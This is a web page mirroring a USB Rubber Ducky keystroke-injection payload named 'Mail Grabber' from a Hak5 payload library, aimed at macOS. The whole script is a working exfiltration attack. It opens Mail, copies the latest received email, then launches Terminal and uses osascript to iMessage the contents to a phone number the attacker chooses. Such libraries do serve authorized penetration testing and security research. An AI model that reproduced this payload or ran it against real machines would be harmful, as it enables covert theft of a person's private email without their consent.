Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/Mail-Grabber/payload.txt
2968 views
1
REM Title: Mail Grabber
2
REM Description: iMessages the last received email in the Mail app to an iMessage device of your choice
3
REM Author: matthewkayne
4
REM Category: Exfiltration
5
REM Target: macOS
6
REM Requires: Device with iMessage to receive the data
7
8
DELAY 1000
9
GUI SPACE
10
DELAY 200
11
STRING Mail
12
DELAY 200
13
ENTER
14
DELAY 400
15
TAB
16
DELAY 200
17
ENTER
18
DELAY 200
19
GUI a
20
DELAY 200
21
GUI c
22
DELAY 200
23
GUI w
24
DELAY 200
25
GUI w
26
DELAY 200
27
GUI SPACE
28
DELAY 200
29
STRING Terminal
30
DELAY 200
31
ENTER
32
DELAY 300
33
STRING x=$(pbpaste)
34
DELAY 200
35
ENTER
36
DELAY 200
37
REM Replace PHONE_NUMBER with you iMessage supported number (leave the @'s, they are required to run)
38
STRING osascript -e 'tell application @Messages@ to send @'$x'@ to buddy @PHONE_NUMBER@'
39
DELAY 100
40
ENTER
41
DELAY 200
42
GUI w
43
DELAY 200
44
ENTER
45
46